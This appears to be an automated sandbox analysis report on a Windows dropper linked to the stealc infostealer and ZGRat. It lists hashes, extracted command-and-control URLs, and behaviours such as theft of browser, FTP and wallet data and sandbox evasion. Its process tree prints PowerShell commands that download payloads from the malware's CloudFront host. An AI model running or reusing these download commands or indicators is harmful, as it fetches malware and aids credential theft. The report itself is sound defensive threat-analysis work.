Analysis
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max time kernel
193s -
max time network
255s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
07-05-2024 22:56
Static task
static1
Behavioral task
behavioral1
Sample
56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
Resource
win7-20240221-en
General
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Target
56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
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Size
49KB
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MD5
d58a180c5d85448472b4e1007fae4b2a
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SHA1
c07bf8ee2bb73efbf111c2dd753d70bbd84cdb54
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SHA256
56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d
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SHA512
78002ed8c7342d2298f74090afe83572f8373c8e34a3ea9bbc2fc8fed04b2cb3511cb1fd0dd194b1ac41ac0a77ab1cdaa184d34e25cf1b21e4f8990922be3367
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SSDEEP
1536:XferrLkSRoe8C4UZsys0Dh1duFpkvFI+Plh:Xfi3k+oWDBDh1duFpjWlh
Malware Config
Extracted
https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000
Extracted
https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000
Extracted
https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000
Extracted
stealc
http://185.172.128.150
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url_path
/c698e1bc8a2f5e6d.php
Signatures
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Detect ZGRat V1 3 IoCs
resource yara_rule behavioral2/memory/524-216-0x0000027840F10000-0x0000027844744000-memory.dmp family_zgrat_v1 behavioral2/memory/524-217-0x000002785F130000-0x000002785F23A000-memory.dmp family_zgrat_v1 behavioral2/memory/524-221-0x00000278463C0000-0x00000278463E4000-memory.dmp family_zgrat_v1 -
Blocklisted process makes network request 5 IoCs
flow pid Process 17 4728 powershell.exe 19 1604 powershell.exe 20 1604 powershell.exe 22 3528 powershell.exe 24 3528 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 3 IoCs
pid Process 1304 i1.exe 5108 u108.0.exe 4508 u108.1.exe -
Loads dropped DLL 3 IoCs
pid Process 3152 56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe 5108 u108.0.exe 5108 u108.0.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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pid Process 4728 powershell.exe 1604 powershell.exe 3528 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u108.1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u108.1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u108.1.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 u108.0.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString u108.0.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 4728 powershell.exe 4728 powershell.exe 4728 powershell.exe 1604 powershell.exe 1604 powershell.exe 1604 powershell.exe 3528 powershell.exe 3528 powershell.exe 3528 powershell.exe 5108 u108.0.exe 5108 u108.0.exe 524 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 524 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 524 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 524 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 524 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 524 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 524 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 524 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 524 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 524 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 524 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 524 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 524 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 524 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 524 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 524 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 524 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 5108 u108.0.exe 5108 u108.0.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 4728 powershell.exe Token: SeDebugPrivilege 1604 powershell.exe Token: SeDebugPrivilege 3528 powershell.exe Token: SeDebugPrivilege 524 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe -
Suspicious use of FindShellTrayWindow 7 IoCs
pid Process 4508 u108.1.exe 4508 u108.1.exe 4508 u108.1.exe 4508 u108.1.exe 4508 u108.1.exe 4508 u108.1.exe 4508 u108.1.exe -
Suspicious use of SendNotifyMessage 7 IoCs
pid Process 4508 u108.1.exe 4508 u108.1.exe 4508 u108.1.exe 4508 u108.1.exe 4508 u108.1.exe 4508 u108.1.exe 4508 u108.1.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 3152 wrote to memory of 652 3152 56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe 73 PID 3152 wrote to memory of 652 3152 56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe 73 PID 3152 wrote to memory of 652 3152 56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe 73 PID 652 wrote to memory of 4728 652 cmd.exe 75 PID 652 wrote to memory of 4728 652 cmd.exe 75 PID 652 wrote to memory of 4728 652 cmd.exe 75 PID 652 wrote to memory of 1604 652 cmd.exe 76 PID 652 wrote to memory of 1604 652 cmd.exe 76 PID 652 wrote to memory of 1604 652 cmd.exe 76 PID 652 wrote to memory of 1304 652 cmd.exe 77 PID 652 wrote to memory of 1304 652 cmd.exe 77 PID 652 wrote to memory of 1304 652 cmd.exe 77 PID 652 wrote to memory of 3528 652 cmd.exe 78 PID 652 wrote to memory of 3528 652 cmd.exe 78 PID 652 wrote to memory of 3528 652 cmd.exe 78 PID 1304 wrote to memory of 5108 1304 i1.exe 79 PID 1304 wrote to memory of 5108 1304 i1.exe 79 PID 1304 wrote to memory of 5108 1304 i1.exe 79 PID 1304 wrote to memory of 4508 1304 i1.exe 81 PID 1304 wrote to memory of 4508 1304 i1.exe 81 PID 1304 wrote to memory of 4508 1304 i1.exe 81 PID 4508 wrote to memory of 524 4508 u108.1.exe 83 PID 4508 wrote to memory of 524 4508 u108.1.exe 83
Processes
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C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe"C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3152 -
C:\Windows\SysWOW64\cmd.exe"cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsg5777.tmp\app.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:652 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4728
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1604
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C:\Users\Admin\AppData\Local\Temp\i1.exei1.exe /SUB=2838 /str=one3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1304 -
C:\Users\Admin\AppData\Local\Temp\u108.0.exe"C:\Users\Admin\AppData\Local\Temp\u108.0.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:5108
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C:\Users\Admin\AppData\Local\Temp\u108.1.exe"C:\Users\Admin\AppData\Local\Temp\u108.1.exe"4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4508 -
C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe"C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD15⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:524
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000', 'i2.bat')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3528
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
11KB
MD5a33e5b189842c5867f46566bdbf7a095
SHA1e1c06359f6a76da90d19e8fd95e79c832edb3196
SHA2565abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
SHA512f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b
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Filesize
593KB
MD5c8fd9be83bc728cc04beffafc2907fe9
SHA195ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040
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Filesize
1KB
MD566382a4ca6c4dcf75ce41417d44be93e
SHA18132cbef1c12f8a89a68a6153ade4286bf130812
SHA256a70acce0f4c6ab59b88ce79d84c38d4abffe19b72b033250499b17d788a2db56
SHA5122bf66f2850f4a65220085c55a5b3c8866453104d78fe516e5bd6e3e47df783062ce4ea10de580f2eb0274ac8c3ce71965201c49ef55a78f307731ccc8600aadc
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Filesize
16KB
MD5dbc4e71885bc930e5d297c249accdb34
SHA13aa57dc042971b0b9d078a028e13a8b664c225e6
SHA256f7744721d66ad8b9d3bc9a04137049789b6366bebbf7eeae80c648aaf4c7d52d
SHA512f18c81a76d2d1e629edf4013d6a99f84970bddc1bbe020bcce14344d8a4474b669a588b1203ce6432c1e46b4732185ec374a3ce2c81c29fabcea506dc6172b4a
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Filesize
16KB
MD5044ac9f11d92abf59d6fb6bd6d675d28
SHA117e3345e13d9b20a87d3a6ab1a70575f68a15323
SHA2561cffc90b7f621335db41b459d2bae533fc5d3d3209015925a521f8542f824c67
SHA5126ad6a7c7accb1cac875b8f54b7886f7879260fba6374ceb23e4d5a6c4021f92027482494b2578ee3a294891625bcf57e8a97592edaa9a7fada53edce145582fe
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
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Filesize
404KB
MD5c2cd725c9947ccc6afdefb26a3bb5b6e
SHA1facbedddff36beb284dc900000c1bc71f236169d
SHA25619db0a5131dd99b1af05a4c2b04948ea0a3a4307a34506eee732165825572407
SHA51200d917fb66d3d3208ce8265cb27ac6109866d7307f53cf20f37145ae8a16c93e4708cba87485478e95454d2663308d8aafafd0bed9d60235bebc86c8bd3fc1fb
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Filesize
556B
MD51d5830e49fb8ad21e3c1e3333b819e7f
SHA1ee70e4b9c36d0bbcefce139bac51abadbd985197
SHA2568e71a833717ce5a0b8d882724613ad0be188c85060705b0c1d40abcd9bd4bd80
SHA5121b3bb316fec3e7da52725f730af59b1780d1754d69f107e424a606764b816e8d4e2f6ebbdb835ef175fe9f56b7add19c21a13493ade7b1de82c8844112462cbb
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Filesize
262KB
MD549c818da112894812df1468c79b96bbc
SHA1b943d8877e19b59cd6f61f702c659e635fd96a4f
SHA2567dee0c70282dffb5642fe42e1d7480ace50d58fad04f41f240b99dd7be432a3a
SHA5125171905e30b07b72a32f12b0d9a39003d1a8aa83feeb25cb867a2290eed5e8bf3c6b2d7e5eb85be31a1bc818726dafd899d9956440804b2ef47d46e41c259732
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Filesize
4.6MB
MD5397926927bca55be4a77839b1c44de6e
SHA1e10f3434ef3021c399dbba047832f02b3c898dbd
SHA2564f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7
SHA512cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954
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Filesize
2.0MB
MD51cc453cdf74f31e4d913ff9c10acdde2
SHA16e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA256ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
SHA512dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571
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Filesize
25KB
MD540d7eca32b2f4d29db98715dd45bfac5
SHA1124df3f617f562e46095776454e1c0c7bb791cc7
SHA25685e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9
SHA5125fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d